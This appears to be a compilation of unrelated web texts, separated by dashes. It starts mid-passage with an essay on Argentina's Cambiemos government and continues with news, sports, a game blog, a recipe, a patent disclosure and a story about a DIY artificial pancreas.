candidate Esteban Bullrich and Cristina Kirchner was held up to scrutiny in an attempt to divine the political future of the nation. Although the results of that race are still in dispute (a technical tie seems the most likely outcome), and even though a second-place finish in midterm general elections in October would be enough for Kirchner to take a seat in the national senate, the numbers emerging from the primary have put a damper on progressive hopes for a leftist turn-around in 2019: where the progressive candidacy of Kirchner represented a Hail Mary for the opposition, her failure to win in anything but strongest terms possible would represent a major fumble on the path to her 2019 bid for the presidency. One major current event may throw a wrench into Cambiemos’s plans: the most high-profile case of a disappeared person since the end of the dictatorship. The disappearance of Santiago Maldonado — and eyewitness accounts alleging he was captured by the militarized police — has sparked huge protests, and interrupted Cambiemos’s careful attempts to paper over the historical relationship between the Right and authoritarianism.  A Brave New World The recent election cycle has shed new light on the ambitious nature of the Cambiemos project: first and foremost, to build a governing consensus among the different sectors of Argentine society; second, Macri’s team of technocrats and business elites wants to establish itself as a beacon of reaction on the continent. As far as the latter is concerned, Cambiemos enjoys the unique privilege of being the only political force to notch an electoral victory against Latin America’s “pink tide.” As if to drive that point home, Cambiemos candidates could be seen during the recent election campaign boasting of their “republican” credentials and inveighing against Venezuela’s “socialist authoritarianism” in the same sentence. Leaving behind the halcyon years of the pink tide, Latin America finds itself entering a revanchist political cycle: in Venezuela, there are public lynchings of citizens who “look like Chavez supporters” (i.e., dark skinned), and in Brazil, the runaway popularity of presidential aspirant and hate-monger Jair Bolsonaro portends a dark future, to say nothing of the virulent racism that drives the anti–Workers’ Party rhetoric on the right; it is perhaps only in Argentina that one finds the semblance of a peaceful political transition. Yet despite appearances, in Argentina too there are mobilizations of class resentment against the perceived beneficiaries of the Kirchner’s “Won Decade,” invariably the poor and marginalized. In a recent stump speech, Kirchner’s conservative opponent Bullrich boasted that the Cambiemos project was progressing day-by-day, “laying another meter of asphalt, putting another kid behind bars.” Later dismissed as a slip of the tongue, Bullrich’s criminalization of poor youth goes hand in hand with an emerging cultural politics that sees political corruption, government welfare, and petty criminality as part of a sinister Mobius strip of authoritarian-populist-clientelism. In fact, for the last two years the government and media has attempted to stigmatize any social expression that does not walk in perfect lockstep with the neoliberal program: the popular sector is painted in broad strokes as “mafioso,” and political opposition is branded a Kirchnerist conspiracy. Before the primaries there were still lingering doubts whether Cambiemos had what it took to become a majoritarian political force. The reason, in the most immediate context, is the government’s dismal economic performance: plummeting consumption, diminished real wages, creeping inflation, rising unemployment, depressed industries, and an estimated third of the population living below the poverty line. All things considered, one could reasonably expect the kleptocratic party to be on its last legs. But the government’s economic blunders are offset by their political acumen, a fact reflected in the polls where most of the party’s major political figures enjoy approval ratings that hover consistently around 50 percent. Defying a common Argentine adage, the people clearly don’t “vote with their wallet.” Kirchner had hung her success on the eternal validity of that kind of thinking and had rebranded herself as a committed anti-austerity warrior (admittedly, she may have more right to the title than her counterparts in Brazil’s Workers’ Party). On the face of things, with successive rounds of austerity and, in the last months, a savage attack on labor and worker militancy, it seemed like a reasonable maneuver on the part of the ex-president. But the Cambiemos platform has revealed that, beyond the immediate experience of the economy, the electorate is oriented even more by the prevailing interpretation of the brute economic reality. And on that account the Cambiemos narrative has taken the upper hand.  The Cambiemos Formula Cambiemos began life in 2005 as PRO (Propuesta Republicana), a political platform with its base in the city of Buenos Aires. It was there that Macri and his main political adviser Horacio Rodriguez Larreta began to hone their formula: initially, the twin pillars of “security” and “post-material values” proved successful in capturing the sizeable middle-class vote concentrated in the nation’s capital. The latter values, including “green” initiatives, free Wi-Fi, organic food markets, bike paths, etc., spoke to the middle-class’s self-perceived commonality with their counterparts in the First World, while the security protocol would represent a cordon sanitaire against those in the slums and outskirts. The natural outgrowth of an increasingly segmented society, that platform expanded as PRO assumed a national projection in the form of Cambiemos: the crown jewel in the new “values-driven” platform was undoubtedly the “culture of work,” a meritocratic social vision that is slowly displacing Argentina’s longstanding “culture of the worker.” The Cambiemos government is neoliberal, but its particular brand of neoliberalism is tailored to the domestic balance of powers: adopting what some call a “gradualist” policy, the government’s basic tack has been to announce dramatic measures — regressive tax hikes, deep budget cuts, the redistribution of income towards the wealthiest sectors — and then backpedal as necessary in the face of popular reaction. Where the Left has regarded these about-faces as popular victories, the government has managed to capitalize and present them as a token of their conciliatory, democratic spirit. In fact, Cambiemos seems to have an inch-perfect read on public opinion: with little fuss they have preserved the outgoing government’s most popular social spending programs, and more generally, there are few outward signs of orthodox neoliberalism’s anti-government ideology on display. In a country where the neoliberal label is political kryptonite, Macri’s Cambiemos choreographs a careful dance with Argentina’s neoliberal past. Throughout the 1990s, Carlos Menem’s neoliberal government was still reading from the Peronist libretto, paying lip service to shared abundance and redistribution as it slashed government funds and privatized public utilities. The Cambiemos project, by contrast, conflates the “enthusiastic citizen” with the “entrepreneurial subject,” encouraging the precarious and unemployed to channel their civil unrest into individual, market-based solutions rather than roadblocks and strikes. Forming an even starker departure from the neoliberalism of the 1990s is the current government’s political inheritance: Menem came to power in 1989 on the heels of a massive hyperinflationary crisis that was temporarily tamed by neoliberal nostrums. By contrast, Macri assumed the mantle of a nation that was emerging from a period of unparalleled (albeit uneven) economic growth. In other words, Macri has entered the terrain on significantly more stable political and economic ground than previous administrations, with the full backing of the national bourgeoisie but also, and equally important, with considerable pushback at the level of popular resistance. One of the masterstrokes of the Cambiemos project has been to seize on Argentina’s national culture of “self-management” and translate that DIY value into a vision compatible with neoliberalism’s “culture of precarity.” From the insurrectionary response to the 2001 crisis — with its factory takeovers and horizontal assembly democracies — to the integration of informal work into micro-cooperatives during the Kirchner years, all the way up to the “neoliberal subject” of the Cambiemos project, there is a paradoxical connection between the post-2001 experiments in worker self-management and the “worker-entrepreneur” at the heart of Macri’s cultural revolution. In an important sense, the last year and a half has seen the neoliberal wheat separated from the progressive chafe: Macri has been more than happy to preserve and even expand on Kirchner’s Argentina Trabaja (Argentina Works) program, which provides a meager income for thousands of cooperatives across the nation. Despite the patina of worker control suggested by the term “cooperative,” the practical reality is that Argentina Trabaja represents the height of precarity, where beneficiaries are more like welfare recipients than workers capable of negotiating the terms of their employment. The coup de grace for Cambiemos was their ability “depoliticize” the state, to step back from the agonism that defined the Kirchner regime and present politics as a routine matter best handled by experts. In practical terms, this has meant separating government programs from any broader social vision. The Right is hastening the end of the era when social rights — rather than individual rights — framed the public’s relationship to government.
-I recently came to the realization that lately I hadn’t been doing much gaming at all, so I’ve decided to start going to the gaming shop on Sundays. This week, that coincided nicely with the Star Wars Destiny launch event.  If I’m honest, I wasn’t particularly excited by the series of preview articles by Fantasy Flight Games. I think this is because of a mixture of ‘yet another Star Wars game’ and also that I’m still pissed about Warhammer 40,000 Conquest LCG being discontinued (I know I should stop moaning about it, but it was my favourite card game, and I’m still annoyed about FFG’s handling of the news regarding it’s demise).  The first comments from most people looking at this game are regarding the dice. Just in case you haven’t read the preview article (or can’t be bothered to read this link):  “Unlike many games, the dice in Star Wars: Destiny do not use stickers. Instead, the dice are plastic-injected like normal dice and rolled in a tumbler to add a fine, smooth polish to every die. The images on each side are then physically heat-pressed onto the dice, essentially printing the artwork directly onto the plastic. Finally, the die is covered in a scratch-resistant coating, allowing you to roll these dice without their quality deteriorating.”  In short, they don’t have stickers and they’re excellent.  I ended up enjoying this A LOT more than I thought that I was going to, so after I bought the Kylo Ren starter deck, I decided to pick up a second one for extra copies of the First Order Stormtrooper and Mind Probe (along with a load of booster packs). There was lots of deck-building going on during the event, as you can see in the pictures above and below.  After finding the rules text for the cards from the set (courtesy of the very handy site, swdestinydb.com), I started coming up with lots of different team ideas. Basically, I was hooked!  Once the shop had closed (and we’d bought as many packs as we could), a few of us went back to mine to continue playing. We lent each other some cards and dice so that we could get our teams closer to what we wanted them to be, as we’re all shameless optimizers (we also proxied a second die for any character that we wanted to try the two-dice version of).  I also introduced the game to my house mate, who for a long while has left collectible games behind, but was also a Conquest LCG player and might be open to another game to sink his teeth into. He enjoyed SW Destiny, but it remains to be seen if he’s hooked like I am (not long until official release though!).  So far I’ve only mentioned that I really like it, but I should tell you how it plays. The first game people will try and compare it to is Dice Masters, but I don’t think that is a good comparison. I’d be more inclined to compare is to Ashes: Rise of the Phoenixborn, as SW Destiny is a card game that also uses dice.  I think the Ashes comparison is better, because as in that game, players take it in turns to do lots of little actions. The game sequence is very back and forth, meaning that short and long-term decisions are important (do you use up your high value ranged damage die now, or wait until you’ve activated another character/support who has a chance of modifying that ranged damage? However, if you leave that die in your pool, there is a chance that your opponent could remove it.).  Customizing your deck of cards that go along with your characters also has plenty of scope for depth. If your team consists of different classes of character (represented by the different colours in game) then you have a wider variety of cards available, but sticking to one colour opens up other options (some cards reference how many of a particular colour upgrade you have in play, for instance).  I’ve decided that I’m going to collect the Villains in SW Destiny, as a friend of mine is only interested in the Heroes, so we’re going to split a booster box upon release. I’ve got a few teams in mind already (one of them is definitely featuring Jango Fett, as he’s great!) and am very eager to get my hands on some more boosters!  Cheers!  Advertisements
-Throw back your head and let out a long celebratory birthday howl for Nikai! Welcome to the terrific twos, kiddo! The Wolf Conservation Center‘s youngest Ambassador has been an inspiration from his adorable start. Within a month of joining the WCC family the little beast huffed, puffed, and hiccuped his way into the hearts and minds of a global audience. His viral video “Wolf Pup Hiccups” almost broke the internet!  Today the stunning ambassador continues to awe and help open the door to understanding wolves by forging a connection between the public and his wild kin. Although he remains a “ladies man,” having yet to completely outgrow his uneasiness around men, his trepidation is natural and his behavior offers WCC guests a glimpse of how elusive wolves naturally are.  Physically Nikai is no longer the baby of the family; he has become equal in stature to older siblings Alawa and Zephyr. He does, however, remain the “child” within the family hierarchy. Zephyr is the self-appointed leader of the family – expressing his status with erect posture and tail carried high. Most of the time Nikai exhibits his lower position through submissive/puppy-like behavior. With lowered tail and posture, he acknowledges his role and rank in the family order. He is often pawing, tucking his tail, and licking the muzzles of his siblings – some of the natural submissive gestures expressed by less dominant wolves. However, during the winter months Nikai did test Zephyr. He incessantly egged on his older brother until the two had it out while Alawa wisely steered clear of the mayhem. Thankfully it took only a few bumps and scratches to return peace and order to the pack with Zephyr at the helm once again.  So a new chapter opens for our Ambassador trio. And what an honor to watch the family transition into such powerful players in the fight to preserve wolves’ rightful place in the environment.  Help support the Wolf Conservation Center‘s efforts to protect and preserve wolf populations in North America by adopting the birthday boy! We offer several adoption levels. No matter what the level, each adoption kit includes an 8×10 wolf photo, wolf biography, adoption certificate and a subscription to our newsletter. Learn more.  Happy Birthday, Nikai!
-Vermont Sen. Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE (I) on Friday blasted President-elect Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE's reported selection of Goldman Sachs President Gary Cohn for a top economic adviser role.  “It’s called a rigged economy and this is how it works,” Sanders tweeted.  It’s called a rigged economy and this is how it works. https://t.co/npoLcKQmfJ — Bernie Sanders (@SenSanders) December 9, 2016  News outlets reported Friday that Trump has chosen Goldman Sachs president Cohn to direct the National Economic Council, which advises the president on economy policy.  Sanders, a staunch critic of Wall Street, made the "rigged economy" one of his main campaign issues during his run for the Democratic presidential nomination.  “We’re going to transform America and create an economy that works for all of us, not just the billionaire class,” Sanders says on his website.  Trump struck a populist tone during the campaign as well, promising to "drain the swamp" in Washington.  But critics like Sanders say Trump's Cabinet selections undermine that promise, with Cohn the second figure with ties to Goldman Sachs to get a major appointment.  During a rally in Des Moines, Iowa, on Thursday night, Trump defended his Cabinet selections.  “One newspaper criticized me, ‘Why can’t we have people of modest means?’" he said. “Because I want people that made a fortune. Because now they’re negotiating with you.”
-Overview Though Apple was highly-recruited out of high school, Buckeyes head coach Urban Meyer wasn't sure of what he had during the New Jersey native's first year on campus. But Apple was diagnosed with an iron deficiency that prevented him from giving full effort on the field, in the weight room, and in the classroom. Once that was under control, Meyer and the rest of the coaches saw Apple begin to fulfill his potential. Apple (whose given surname was Woodard, but changed it to honor his stepfather) started 14 of 15 games as a redshirt freshman during Ohio State's run to a national title. In fact, he sealed the Buckeyes' win over Oregon in the championship game, intercepting Heisman Trophy winner Marcus Mariota's final collegiate pass. For the season, he totaled 53 tackles, 5.5 for loss, three interceptions and 10 pass breakups. Although Apple's statistical production decreased in 2015 (33 tackles, two for loss, one interception, eight pass breakups), Big Ten coaches recognized his ability to shut down opposing receivers by voting him second-team all-conference.  Analysis Strengths Good height, weight and arm length combination. Clean footwork in transition with natural ability to mirror and match from press coverage. Won't open hips early and rarely turned around off line of scrimmage. Has foot quickness in short spaces to maintain feel for his man. Extremely competitive when ball is in the air. Has play strength to redirect receivers from their routes. Aggressive hands in coverage and fights hard to disrupt the catch by any means necessary. Finished with 22 passes defensed over last two years. Scouts praise him for work ethic and technical improvement over last two years. Will come downhill against run and is diligent with contain responsibilities. Has optimal size/speed numbers for an early round cornerback. Weaknesses Can be slow to diagnose and anticipate quarterback's plans. Average reactive athleticism. Doesn't feature the balance or twitch to rocket forward and challenge throws if he's not shadowing his man. Won't always play to his size as a tackler. Dragged 18 yards after a catch against Penn State. Shows some stiffness as an open field tackler and allowed four broken tackles this season. Slow to turn head and find ball on deep throws. Becomes Mr. Grabs if he senses receiver is getting over the top of him or when he's trying to crowd the top of routes. Had four holding and seven pass interference penalties from 2014­-2015. Draft Projection Round 1 NFL Comparison Trumaine Johnson Bottom Line Highly recruited two­-year starter who is entering the draft as a draft eligible redshirt sophomore. Apple's size and strength allows him to compete against physical receivers, but he also has the talent to mirror and match as a man defender. Covering for longer could be challenging early on after playing with talented defensive fronts who ravaged quarterbacks. Apple will have to learn to trust his feet rather than grabbing so often or he'll find that quarterbacks and refs will find him often. Related Links -Lance Zierlein
-Protesters in Rome torch cars after Italian Prime Minister Silvio Berlusconi narrowly survived two confidence votes Tuesday. ((Giampiero Sposito/Reuters))  Silvio Berlusconi pulled off another astonishing escape from the political dead, scraping through two confidence votes Tuesday in a dramatic parliamentary showdown.  But the Italian leader's hold on power remains precarious as his razor-thin victory makes political gridlock a near certainty — and violent street protests show growing unease with his rule.  Masked protesters torched cars and trash bins, smashed shop windows and clashed with police.  Clouds of white tear gas and orange flares engulfed streets, as shops full of Christmas goods hurriedly closed down. Employees at one bank cowered in fear as a group of stone-throwing youths swept by.  Protesters rampaged in the area around parliament and Berlusconi's residence, which had been cordoned off by heavy police presence.  By sundown, almost 100 people, both protesters and police, were reported injured, including about two dozen hospitalized. About 40 were reportedly taken into police custody.  The chaos followed speculation in recent weeks that the end of the Berlusconi era was near.  Weakened by sex scandals and a bitter breakup with his one-time closest ally, Berlusconi seemed destined to be sent packing. The split with Gianfranco Fini had eroded the premier's once comfortable parliamentary majority and left him vulnerable in the lower house.  Italian Premier Silvio Berlusconi applauds following a confidence vote at the lower chamber in Rome on Tuesday. ((Gregorio Borgia/Associated Press))  But Berlusconi battled back, as he has countless times when his political career seemed to be on the ropes. Tuesday's drama confirmed his status as the ultimate political survivor — but he emerges from the battle severely weakened and one top opposition lawmaker called his success a "Pyrrhic victory."  In the most dramatic and closest of the two tests, Berlusconi survived the no-confidence motion in the lower house by just three votes. Scuffles between lawmakers forced a brief suspension in the voting session.  Earlier in the day, Berlusconi had secured a more comfortable victory in a confidence vote at the Senate.  The vote's slim margin means Berlusconi can no longer count on a secure parliamentary majority for passing legislation. Some experts predict he might resign in upcoming weeks, a move that could lead to early elections, which he hopes to win again.  Berlusconi survived Tuesday's challenge by exploiting rifts inside Fini's camp — at the moment of truth, three supporters defected — and managed to sway a handful of undecided lawmakers to his side. In the process, he drew accusations of vote-buying, amid claims of cash changing hands and favours lavished. Berlusconi's allies reject the allegations.  "I'm not a survivor — I'm strong, robust," a smiling Berlusconi joked after the vote.  Pressing his case before lawmakers on the eve of the showdown, the premier argued that his government had successfully worked to protect Italy from becoming engulfed in the eurozone's debt crisis. He warned that political instability would hurt Italy as it fights for its economic future.  Italy is plagued by a high public debt level and slow growth. The country is still widely viewed as low-risk due to the low level of private debt, a relatively sound banking system and experience in dealing with high public debt levels.  Still, markets were closely monitoring the results of the votes; Italy's main bourse closed little changed on Tuesday.
-President-elect Donald Trump really isn’t going to like this week’s “Saturday Night Live.”  In its cold-open sketch, the show tore into Trump’s reportedly friendly relationship with Russian President Vladimir Putin, his misspelled tweets and his controversial Cabinet picks.  The skit began with Alec Baldwin (playing Trump) explaining to Kate McKinnon (playing his campaign manager, Kellyanne Conway) why he went on his “thank you” tour and chose former Texas Gov. Rick Perry as energy secretary.  “Wasn’t that a great choice? I saw him on ‘Dancing With the Stars,’” the Trump character said.  “This guy has so much energy. Unpresidented,” he added, referring to a misspelled tweet Trump posted Saturday.  “SNL” also poked fun at Trump for reportedly having a tough time finding musicians to perform at his inauguration. Beck Bennett ― playing a shirtless Putin ― then came out of the fireplace to give Trump a special Christmas “Elf on the Shelf” gift, in reference to a CIA report that Russia interfered with the presidential election.  When Baldwin-as-Trump said he feels bad at not getting him anything, Bennett-as-Putin replied: “Please, Mr. Trump, you are the gift.”  Finally, actor John Goodman made an appearance to play Trump’s pick for secretary of state, Exxon Mobil CEO Rex Tillerson.  Tillerson is friendly with Putin in real life, so Goodman arrived on the scene to do a special dance with Bennett’s character before discussing business. Meanwhile, all Trump could do is talk about his meeting with Kanye West.
-The painting known as A Charge to Keep, by W.H.D. Koerner  Wikipedia  Former President George W. Bush had his official presidential portrait unveiled at a special ceremony at the White House today. It’s fairly standard issue: Bush stands in the Oval Office, his hands on a chair, with a look that Roland Barthes noted decades ago is typical of political portraits. (“The gaze is lost nobly in the future, it does not confront, it soars and fertilizes some other domain, which is chastely left undefined.”) You can see the new portrait over at Talking Points Memo.  One detail stands out, though: President Bush’s favorite painting, the one he kept by his desk, and the one for which he named his 1999 autobiography, A Charge to Keep. Bush loved to regale visitors with what he thought was the story behind the painting, telling how it depicted the famous circuit riders who in the nineteenth century spread the message of Methodism across the Alleghenies. Bush, a Methodist since the 1970s, identified with the quest of the noble cowboy missionary, and visitors often noted the resemblance between Bush and the lead rider.  There’s only one problem with that story: As Slate Group editor-in-chief Jacob Weisberg wrote in his 2008 book The Bush Tragedy, “that is not the title, message, or meaning of the painting.”* Weisberg explains:  The artist, W.H.D. Koerner, executed it to illustrate a Western short story entitled “The Slipper Tongue,” published in The Saturday Evening Post in 1916. The story is about a smooth-talking horse thief who is caught, and then escapes a lynch mob in the Sand Hills of Nebraska. The illustration depicts the thief fleeing his captors. In the magazine, the illustration bears the caption: “Had His Start Been Fifteen Minutes Longer He Would Not Have Been Caught.”  Whether or not Bush ever learned the true story behind the painting seems to be unclear, but if so, he’s sticking to his guns, unwanted ironies be damned. Indeed, President Bush seems determined to ride off with Koerner’s painting into history.  *Update, June 1, 2012: While Bush’s story of the painting’s origins still appears to be false, aspects of Weisberg’s account have also been disputed. As University of Illinois professor Cara Finnegan points out on her blog First Efforts, an illustration that ran with the horse thief story “The Slipper Tongue” in The Saturday Evening Post is actually a very similar-looking but different Koerner composition, also depicting a man working his way up a hill on a horse. The Google Books archive, similarly, shows the same similar-looking but different Koerner illustration.  Contacted about the dispute, Weisberg agreed that he may have confused the two illustrations, and explained that his photocopy of “The Slipper Tongue” may simply have been blurry.  Not disputed by Finnegan is the later appearance of the composition, also mentioned in Weisberg’s book, with the 1918 Country Gentleman story “A Charge to Keep.” Both Finnegan and Weisberg note that this illustration, now the first confirmed appearance of the painting, is not about Methodist missionaries either. As Weisberg points out, the story—about a son’s fight to keep his land, inherited from his father, from “rapacious timber barons”—may contain a different irony altogether.
-A smorgasbord of goodness  Quiches are one of our favorite make-ahead meals. Not only are they easy to throw together, but you can add just about anything into them, making a smorgasbord of goodness. You can make them with any random fixings you might have leftover in your fridge (ham from Easter or turkey from Thanksgiving!), or if you’re fancy, you can combine the perfect concoction of ingredients to mimic some of your favorite dishes. Which is exactly what we did here with this dangerously good Reuben Quiche.  What’s in our Reuben?  Traditional Reuben sandwiches are made with corned beef, Swiss cheese, sauerkraut and Russian dressing, served on rye bread. Ever wondered where the Reuben Sandwich came from? You can read about its creation here. We love stories like these!
-Zia Rana  January 25, 2012  The Kangaroos declared their first innings at 604 runs for the loss of seven wickets and the visitors were reeling at 61 after losing two key wickets.  The second day’s play came to an end on January 25, 2012 at Adelaide Oval where the fourth and final Test is being staged.  Earlier Australia started the day at 335 for the loss of three wickets in 90 overs, Ponting was unbeaten on 137 and Clarke was playing at 140 and they had shared a partnership of 249 runs for the fourth wicket.  The duo started the day from where they left on the first day and the runs were accumulated easily with occasional boundaries. Clarke achieved his 150 with style by dispatching a four on the third ball of the 93rd over and Ponting followed him in the same manner three overs later.  The game was geared up by the two batsmen and the Indian bowling attack proved ordinary. Clarke celebrated his double century on the fourth ball of the 114th over by earning a four through extra cover few overs before lunch. He tried to accelerate the innings but was clean bowled by Umesh Yadav on the third ball of the 121st over just after the break. The dashing Captain contributed 386 runs for the fourth wicket as he went back to the pavilion at the total of 470 runs.  Ponting accomplished his sixth double ton on the third ball of the 123rd over while securing a four off a pull on the square leg boundary. He added 50 runs for the fifth wicket with Michael Hussey who was run out at 25 runs. The 37-year-old, ex-Captain lost his wicket after thrashing 221 runs once he was caught by Sachin Tendulkar at deep midwicket off Zaheer Khan.  Australia declared their first innings at 604 as they had lost seven wickets, Brad Haddin and Ryan Harris were unbeaten on 42 and 35 runs respectively.  Ravichandran Ashwin was the highest wicket taker with three, Zaheer held two victims and Yadav claimed one wicket as well.  India opened their first innings with style as Gautam Ghambhir dispatched the first ball for a four and gathered eight runs with Virender Sehwag in the initial over. Sehwag got a life at five runs when he was dropped at midwicket by Ed Cowan on the fifth ball of the second over bowled by Ben Hilfenhaus. He could not utilise the chance and was caught and bowled by  Peter Siddle on the first ball of the sixth over at 18 runs.  The first wicket fell at 26 runs and their worries were multiplied when Hilfenhaus uprooted the stumps of the wall of their batting, Rahul Dravid just after six runs were added in the total.  Gautam Ghambhir and Sachin Tendulkar saw the day off as India managed 61 runs without losing any further wicket at stumps, they were batting at 30 and 12 runs respectively. They are still 543 runs away from the first innings total of Australia, the pitch is helpful for the batting and requires determination from the batsmen. They can respond well with proper application and Tendulkar has an upright chance to clinch his 100th hundred.
-The Anonymous hacker who was exposed after leaking evidence that was used to convict two of the Steubenville, Ohio rapists is facing more time in jail than the sexual offenders he helped bring to justice.  Deric Lostutter leaked a viral video made by the rapists themselves that clearly showed their 16-year-old victim was unconscious and unable to consent.  The home of the 26-year-old “hacktivist” was raided by the FBI last April and Lostutter eventually admitted to distributing the clip.  Despite the fact that his involvement in the Stebenville rape case brought about the convictions of two rapists, Lostutter is facing 10 years in jail for obtaining tweets and social media posts that contained details about the rape and for threatening action against the rapists, and the school officials who have since been indicted for their roles in covering up the crime cover up the crime.  One of the convicted rapists, Ma’Lik Richmond, was recently released from juvenile detention two months early for “good behavior” after serving less than a year.  Richmond’s family released a statement about how hard the past 16 months have been for the 16-year-old. The statement failed to make an apology to the rape victim, according to her lawyer.  “Although everyone hopes convicted criminals are rehabilitated, it is disheartening that this convicted rapist’s press release does not make a single reference to the victim and her family -- whom he and his co-defendant scarred for life,” said attorney Robert Fitzsimmons.  “One would expect to see the defendant publicly apologize for all the pain he caused rather than make statements about himself. Rape is about victims, not defendants. Obviously, the people writing his press release have yet to learn this important lesson.”  [Geek Republic] [WTRF]
-Courting controversy again, Tripura Governor Tathagata Roy tweeted what he called a 1946 diary entry made by Syama Prasad Mookerjee, who later founded the Bharatiya Jana Sangh, which stated that “the Hindu-Muslim problem won’t be solved without a Civil War”. This drew sharp reactions on Twitter and several exchanges later, Roy put out another tweet, saying “couple of dozen dimwits” trolled him for “advocating a civil war”, and that “I was quoting, not advocating”.  Advertising  At 12.23 am June 18, Roy took to Twitter: “Syama Prasad Mookerjee wrote in his diary on 10/1/1946: “The Hindu-Muslim problem won’t b solved without a Civil War”. So much like Lincoln!” This was followed by sharp exchanges with some accusing him of instigating communal violence, others calling for his sacking and arrest.  Nineteen hours later, Roy tweeted: “Instantly couple of dozen dimwits began trolling that I was advocating a civil war. None stopped to ponder that I was QUOTING, not ADVOCATING.” He continued: “I was quoting a diary of 70 years back, pre-partition India. And it was prophetic. Because Jinnah unleashed that civil war 7 months later. And Jinnah won that civil war and got his Pakistan. That is ALSO something Dr Mookerjee predicted.”  Earlier, while engaging the Twitterati, Roy posted a photograph of a banner attributed to “Shyampur Masjid Committee and the residents” and wrote “See this notice. It says “All music forbidden. Violators will call forth penalties.” Not ISIS. Not Taliban, not Saudi. But West Bengal, India”.  The Governor did not respond to phone calls, email or text messages from The Indian Express for comment. This is not the first time that Roy has made controversial remarks on Twitter. In August 2015, in one of his tweets, he described people who had attended Mumbai blast convict Yakub Memon’s funeral as “potential terrorists” and said “they ought to be kept under surveillance.”  Advertising  In September 2015, replying to a tweet, he said: “Whatever gave you the notion I am secular? I am a Hindu. My state, India, however is secular since 1976.” His Twitter handle then identified him as “Governor”, “but still a proud Swayamsevak”. As of today, Roy identifies him as “Civil Engineer, Swayamsevak, Professor, Politician, Writer, Lawyer, Hindu. Now Governor of Tripura. Love travel, music; hate hypocrisy and double standards.”
-IPR Details  Nokia Corporation's Statement about IPR related to RFC 6386  Submitted: March 21, 2013 under the rules in RFC 3979 as updated by RFC 4879  Note: Updates to IPR disclosures must only be made by authorized representatives of the original submitters. Updates will automatically be forwarded to the current Patent Holder's Contact and to the Submitter of the original IPR disclosure.  I. Patent Holder/Applicant ("Patent Holder") Holder legal name Nokia Corporation II. Patent Holder's Contact for Licence Application Holder contact name Kalle Moilanen Holder contact email kalle.moilanen@nokia.com Holder contact info T: +358 50 366 2022  III. Contact Information for the IETF Participant Whose Personal Belief Triggered this Disclosure Name Markus Isomäki Email markus.isomaki@nokia.com Other info T: +358 50 522 5984  IV. IETF Document or Other Contribution to Which this IPR Disclosure Relates RFC: RFC6386 ("VP8 Data Format and Decoding Guide") V. Disclosure of Patent Information i.e., patents or patent applications required to be disclosed by RFC 3979 as updated by RFC 4879 A. For granted patents or published pending patent applications, please provide the following information: Patent, Serial, Publication, Registration, or Application/File number(s) Country:DE:Filing date:22.05.1998, Filing number:98660050.0, Pub.number:0884911, Grant number:69825220  Country:FR:Filing date:22.05.1998, Filing number:98660050.0, Pub.number:0884911, Grant number:0884911  Country:GB:Filing date:22.05.1998, Filing number:98660050.0, Pub.number:0884911, Grant number:0884911  Country:NL:Filing date:22.05.1998, Filing number:98660050.0, Pub.number:0884911, Grant number:0884911  Country:US:Filing date:09.06.1998, Filing number:09/094177, Pub.number:NA, Grant number:6504873 Country:CN:Filing date:10.08.2000, Filing number:00814037.5, Pub.number:1378750, Grant number:ZL00814037.5  Country:DE:Filing date:10.08.2000, Filing number:00957359.3, Pub.number:1206881, Grant number:60015566.8  Country:FI:Filing date:10.08.2000, Filing number:00957359.3, Pub.number:1206881, Grant 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see above  Country: see above  B. Does this disclosure relate to an unpublished pending patent application?: Has patent pending No VI. Licensing Declaration The Patent Holder states that its position with respect to licensing any patent claims contained in the patent(s) or patent application(s) disclosed above that would necessarily be infringed by implementation of the technology required by the relevant IETF specification ("Necessary Patent Claims"), for the purpose of implementing such specification, is as follows(select one licensing declaration option only): Licensing Unwilling to Commit to the Provisions of a), b), or c) Above Licensing information, comments, notes, or URL for further information (No information submitted) Note: The individual submitting this template represents and warrants that he or she is authorized by the Patent Holder to agree to the above-selected licensing declaration. VII. Contact Information of Submitter of this Form Submitter name Kalle Moilanen Submitter email kalle.moilanen@nokia.com  Only those sections of the relevant entry form where the submitter provided information are displayed.
-ALLEN WEST: They are not discussing the real issues. What they continue to do, especially on the case of the Democrat[ic] Party -- the progressive socialist left -- is they obfuscate, they deny, they lie about the real issues. You know, we need to talk about the restoration of the family in the black community. When I was born in 1961, between 75 to 77 percent of the households had two parents. Today, it's at 24 percent, and you can trace that right back to a failed policy from Lyndon Johnson, where the government provided checks to women who had children out of wedlock as long as they did not have a man in the home.  STUART VARNEY (HOST): Allen, can I just jump in for a second here? What's your solution to that problem, children out of wedlock or without two parents at home? What's your solution; is it a withdrawal of the welfare state?  WEST: Well, yeah. I mean, Jason Riley wrote a great book, he is a Wall Street Journal editor, saying "please stop helping us." You know, the black community was stronger it seems during the issues of segregation; when you had families that where intact, when you had communities that were standing up, when you had better education opportunities. I think that is another important thing.
-Scott Leibrand and Dana Lewis on their wedding day, August 1, 2015. Dana Lewis On their first date, Scott Leibrand asked Dana Lewis why she was wearing a pager. This was 2013 after all.  Surprisingly, Lewis did have a pager for work because she was on-call as a communications lead for a healthcare company. But the black box sitting on her waistband was not that.  It was an insulin pump, and it wasn't the only equipment Lewis carried around to manage her diabetes.  Her date couldn't see the other device in her purse that monitored the glucose levels in her blood and would sound an alarm if her levels got dangerously high or low.  An alarm that Lewis slept through all the time.  Moving to Seattle and living on her own had been daunting for Lewis. Her friends and family worried that she would die in the middle of the night, like a number of diabetes patients do, because she wouldn't wake up to correct her levels.  So Lewis and Leibrand, a former Twitter engineer and an expert in networks, did the natural thing for two people versed in programming.  They built an artificial pancreas.  A new pancreas and a new relationship  Diabetes is a condition where there's too much glucose in the blood. Typically, the pancreas produces insulin, a hormone, to balance the glucose and help it get from the food you eat into your cells. If the pancreas doesn't create enough insulin or it doesn't work, the blood sugar levels become too high or too low — a dangerous fluctuation that can lead to death.​  It's a lifelong condition with no cure. Lewis, who was diagnosed with Type 1 diabetes when she was 14, used to manage her diabetes in a way many people do, by pricking her finger 12 times a day to check her blood or wearing a glucose monitor and an insulin pump. She also used a continuous glucose monitor (CGM), which inserts a tiny sensor with a transmitter into the skin and sends data every five minutes to a monitor. If the glucose is too low, it sets off an alarm.  The DIY pancreas project started out as only as a way to make that alarm louder.  "I had recently 